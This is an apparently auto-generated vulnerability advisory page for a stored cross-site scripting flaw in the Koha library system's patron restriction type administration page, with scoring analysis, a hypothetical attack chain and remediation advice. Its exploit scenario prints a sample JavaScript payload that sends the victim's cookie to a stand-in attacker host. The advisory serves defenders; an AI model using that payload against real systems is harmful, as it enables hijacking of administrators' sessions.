Skip to main content

Koha Library System CVE-2026-50765

| EUVDEUVD-2026-39940 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-26 mitre GHSA-wh28-gg5r-p54p
6.1
CVSS 3.1 · Vendor: mitre
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain Koha administrator credentials
  2. Delivery
    Navigate to patron restriction type admin page
  3. Exploit
    Inject XSS payload into display_text field
  4. Install
    Payload persisted in Koha database
  5. C2
    Victim administrator views restriction administration page
  6. Execute
    Malicious script executes in victim's browser
  7. Impact
    Exfiltrate session token or hijack admin session

Vulnerability Assessment

Weakness
CWE
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an active authenticated session with Koha administrator-level privileges, specifically write access to the patron restriction type administration page - this is a high-privilege role, not a standard patron or librarian account. A second prerequisite is that a victim administrator must subsequently load the poisoned restriction type administration page, introducing a required human interaction step. Exploitation is not automatable per SSVC, meaning mass or scripted attacks are not feasible. The vulnerability does not affect unauthenticated users, standard patron accounts, or non-administrative staff. Important note: the supplied CVSS vector (PR:N) directly contradicts the description's explicit administrator privilege requirement - defenders should treat PR:H as the accurate characterization of exploitation conditions and not rely on the PR:N vector for risk decisions.

Impact

A critical conflict exists between the provided CVSS vector (PR:N, implying no authentication required) and the vulnerability description, which explicitly states the attacker must hold administrator privileges. The PR:N assignment appears erroneous and artificially inflates the 6.1 score - with a corrected PR:H reflecting actual exploitation requirements, the adjusted score would be closer to 4.7. EPSS at 0.21% (12th percentile) independently reinforces low exploitation probability, consistent with both the niche product footprint and the high-privilege prerequisite. SSVC flags the exploitation status as poc-level (not actively exploited), non-automatable, with only partial technical impact - a profile that aligns with a targeted, opportunistic insider threat scenario rather than broad internet-facing exploitation. KEV is absent. Real-world priority for most organizations is low; however, for Koha-operating libraries where administrative staff accounts may be shared or weakly controlled, the insider threat angle is the most plausible risk vector.

Exploit ScenarioDerived

A malicious Koha administrator injects a JavaScript payload (e.g., document.location='https://attacker.example/steal?c='+document.cookie) into the display_text field of a patron restriction type label. When a second administrator opens the patron restriction type management page - a routine library operations task - the stored script executes silently in their browser, exfiltrating their active session token to an attacker-controlled endpoint. A proof-of-concept for this attack path is documented at https://lgnas.gitbook.io/findings/cve-2026-50765.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 22, 2026

Stored Cross-Site Scripting in Koha Library Management System through version 25.11 allows an authenticated administrator to inject persistent JavaScript into the patron restriction type administration page via the display_text (restriction type label) field. When another privileged user subsequently navigates to that administration page, the stored payload executes in their browser, enabling session hijacking, credential theft, or further administrative compromise. No public KEV listing exists, but SSVC data confirms a proof-of-concept exploit is available; EPSS at 0.21% (12th percentile) reflects the low broad exploitation probability consistent with a niche product and high privilege prerequisite.

RemediationAI

No specific patched version has been identified in the available data at time of analysis - administrators should consult the Koha vendor directly at http://koha.com and monitor the NVD advisory at https://nvd.nist.gov/vuln/detail/CVE-2026-50765 for an official fix. As a compensating control, restrict write access to the patron restriction type administration interface to the absolute minimum number of trusted, individually-accountable administrator accounts, eliminating shared or broadly-assigned admin credentials to reduce the attacker pool. Implementing a restrictive Content Security Policy (CSP) header (e.g., script-src 'self') on the Koha administrative interface can block inline script execution and materially reduce XSS exploitability, though this should be tested against Koha's legitimate JavaScript dependencies to avoid breaking functionality. Output encoding of the display_text field at the rendering layer is the correct permanent fix and should be validated in any vendor patch.

Affected VersionsENISA

n/a n/a

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Koha is an open-source Integrated Library System (ILS) used primarily by public, academic, and school libraries, with its administrative interface built on Perl and web technologies. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: the display_text field in the patron restriction type administration page accepts free-form text that is subsequently rendered back into HTML without adequate sanitization or output encoding. This is a stored (persistent) XSS pattern - the payload is written to the Koha database and replayed to every privileged user who loads the administration view, amplifying impact beyond a single-victim reflected XSS. No vendor-assigned CPE is available in the source data (listed as n/a), but the vulnerability is scoped to the administrative web interface of Koha releases through 25.11.

Know when N A gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (mitre) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 4.8 MEDIUM

Description explicitly requires administrator privileges (PR:H); victim must visit the poisoned admin page (UI:R); XSS payload executes in a different user's browser, constituting scope change (S:C).

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (mitre).

CVSS VectorVendor: mitre

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Cross-Site Scripting (XSS) vulnerability in the patron restriction type administration page of Koha Library Management System through 25.11 allows an authenticated remote attacker with administrator privileges to inject arbitrary web scripts via the restriction type label (display_text field)

Threat Intelligence Overview

EPSS Score
0.2%
Top 88% exploitable
Prevalence
Low
niche open-source ILS used primarily by libraries
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in N A

View all
CVE-2024-51092 CRITICAL POC
9.1 May 08

LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr

CVE-2025-15684 MEDIUM POC
5.5 Aug 12

Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han

CVE-2024-45257 HIGH POC
7.3 May 08

A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi

CVE-2025-15687 LOW POC
2.1 Aug 12

Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc

CVE-2025-15686 LOW POC
2.1 Aug 12

Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula

CVE-2025-67888 HIGH POC
7.3 May 08

Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root

CVE-2024-53326 HIGH POC
7.3 May 08

LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(

CVE-2026-38360 CRITICAL POC
9.8 May 08

Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti

CVE-2026-30623 CRITICAL POC
9.8 Jul 15

Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr

CVE-2026-67917 CRITICAL POC
9.8 Aug 17

SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg

CVE-2026-75337 CRITICAL POC
9.8 Aug 27

Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ

CVE-2026-31072 CRITICAL POC
9.8 May 19

Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy